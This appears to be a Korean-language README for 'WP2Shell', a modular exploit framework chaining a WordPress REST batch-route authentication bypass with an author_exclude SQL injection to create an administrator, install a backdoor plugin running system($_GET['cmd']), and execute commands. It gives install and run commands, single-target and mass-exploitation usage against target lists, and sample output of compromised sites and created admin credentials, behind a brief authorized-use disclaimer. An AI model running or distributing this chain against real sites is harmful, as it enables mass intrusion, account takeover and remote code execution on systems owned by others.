WordPress Core REST 배치 라우트 혼동 인증 우회와 author_exclude SQL 인젝션을 연쇄하여 관리자를 생성하고 백도어 플러그인을 배포하는 모듈식 사전 인증 RCE 프레임워크입니다.
WordPress Core를 위한 사전 인증 RCE 프레임워크
CVE-2026-63030 · CVE-2026-60137
제작: CyphrSec · @kingepepp
CyphrSec WP2Shell은 WordPress Core의 두 가지 연쇄 취약점을 대상으로 하는 모듈형 익스플로잇 프레임워크입니다:
| CVE | 취약점 | 영향 |
|---|---|---|
| CVE-2026-63030 | REST API 배치 라우트 혼동 | 인증 우회, 요청 비동기화 |
| CVE-2026-60137 | author_exclude SQL 인젝션 | 임의 SQL, 데이터 유출, 관리자 탈취 |
이들을 연쇄하면 WordPress Core 6.9.0 – 6.9.4 및 7.0.0 – 7.0.1에서
인증되지 않은 원격 코드 실행(RCE) 이 가능합니다.
[1] Route confusion → REST batch endpoint bypass
[2] SQL injection → UNION read from wp_users / wp_posts
[3] UNION admin bridge → Create administrator pre-auth
[4] Plugin backdoor → Upload "Astral" plugin
[5] RCE → system($_GET['cmd'])
승인된 사용만 허용됩니다.
이 도구는 승인된 침투 테스트, 보안 연구 및 교육 목적으로만 제공됩니다. 이 프레임워크의 어떤 구성 요소든 실행하기 전에 반드시 대상 소유자로부터 명시적인 서면 허가를 받아야 합니다.
소유하지 않은 시스템에 대한 무단 사용은 다음을 위반합니다:
- 컴퓨터 사기 및 남용법(CFAA) — 미국
- UU ITE 제30조 — 인도네시아
- 컴퓨터 오용법(Computer Misuse Act) — 영국
- 및 전 세계의 유사 법률.
저자는 이 도구의 오용, 손해 또는 이로 인해 발생하는 법적 결과에 대해 어떠한 책임도 지지 않습니다.
/wp-json/batch/v1 및 ?rest_route=/batch/v1$wp_version 읽기CONCAT(0x7c7c, HEX(...), 0x7c7c)를 통해 임의 컬럼 값 추출secure_file_priv가 허용할 때 INTO OUTFILEphpass 크래킹 폴백을 사용한 블라인드 불리언 추출system($_GET['cmd'])가 포함된 "Astral" 플러그인⬢ ⬡ ⊗ 카운터가 포함된 대상당 한 줄 대량 출력git clone https://github.com/0xCyp1337/CVE-2026-63030-CVE-2026-60137-WP2SHELL.git
cd CVE-2026-63030-CVE-2026-60137-WP2SHELL
chmod +x wp2shell-fullchain.py
pip install이 필요하지 않습니다 — 모든 것이 표준 라이브러리입니다.
python3 wp2shell.py
╭─ MAIN MENU ────────────────────────────────────────────────────────────╮
│ │
│ 1 single target — interactive wizard │
│ 2 mass exploit — targets.txt list │
│ 3 remote scan — version + behavior check │
│ 0 exit │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py single -u https://target.com --cmd id --authorized
또는 대화형 메뉴 → 옵션 1을 통해.
예시 출력:
╭─ SINGLE EXPLOIT ───────────────────────────────────────────────────────╮
│ │
│ target : https://target.com/ │
│ cmd : id │
│ │
╰────────────────────────────────────────────────────────────────────────╯
[*] Testing route confusion...
[+] Route confusion confirmed.
[*] Using batch endpoint: https://target.com/?rest_route=/batch/v1
[*] Running timing-based SQL injection test... (SLEEP=2.0s, 7 requests)
[*] SQLi result: vulnerable
[*] Attempting UNION pre-auth admin creation...
[+] Created admin: cyphr_a1b2c3 / Wp2!Xy9zQr7mK
[+] Authenticated as new admin.
[*] Uploading backdoor plugin...
[+] Backdoor plugin installed and activated.
[*] Executing: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[!] Clean up the backdoor plugin and the new admin user after testing.
╭─ RESULT ───────────────────────────────────────────────────────────────╮
│ │
│ status : OWNED — RCE confirmed │
│ time : 23.4s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
python3 wp2shell.py exploit -l targets.txt --cmd whoami --authorized -c 10 --delay 2
또는 대화형 메뉴 → 옵션 2를 통해.
예시 출력:
╭─ MASS EXPLOIT ─────────────────────────────────────────────────────────╮
│ │
│ targets : 245 workers : 10 delay : 2.0s │
│ cmd : whoami │
│ │
╰────────────────────────────────────────────────────────────────────────╯
⬢ https://site1.com ⬢4 ⬡1 ⊗5
⬢ https://site2.com ⬢5 ⬡1 ⊗5
⊗ https://site3.com ⬢5 ⬡1 ⊗6
⬡ https://site4.com ⬢5 ⬡2 ⊗6
...
╭─ SUMMARY ──────────────────────────────────────────────────────────────╮
│ │
│ ⬢ owned : 12 ⬡ admin : 3 │
│ ⊗ fail : 230 errors : 0 │
│ time : 145.2s │
│ │
╰────────────────────────────────────────────────────────────────────────╯
범례:
⬢ — 소유됨 (전체 RCE)⬡ — 관리자 생성됨 (RCE 싱크 없음)⊗ — 실패 / 오류python3 wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
또는 대화형 메뉴 → 옵션 3을 통해.
보고서 형식: table, json, jsonl, csv
CSV 열:
| 필드 | 설명 |
|---|---|
target | 원본 URL |
wordpress_detected | true/false |
selected_version | 최선 추정 버전 |
version_assessment | LIKELY_VULNERABLE / PATCHED_VERSION / UNKNOWN / ... |
batch_route_exposed | /batch/v1 접근 가능 여부 |
active_probe_result | route-confusion-observed / route-confusion-not-observed / indeterminate |
verdict | CONFIRMED_VULNERABLE_BEHAVIOR / LIKELY_VULNERABLE / NOT_AFFECTED / ... |
severity | critical / high / medium / info |
summary | 사람이 읽을 수 있는 설명 |
remediation | 권장 조치 |
| 파일 | 내용 |
|---|---|
pwn.txt | 장악된 대상 — URL | owned | HH:MM:SS | shell_url |
admins.txt | RCE 싱크 없이 생성된 관리자 자격 증명 — URL | user:pass | admin-only |
exploit_log.txt | 대상별 전체 stdout (대량 모드) |
results.csv | 요약 — target,exit_code |
single_log.txt | 전체 로그 (단일 모드) |
single_results.csv | 단일 모드 결과 요약 |
--version Print version and exit
-h, --help Show help
single — 단일 대상 마법사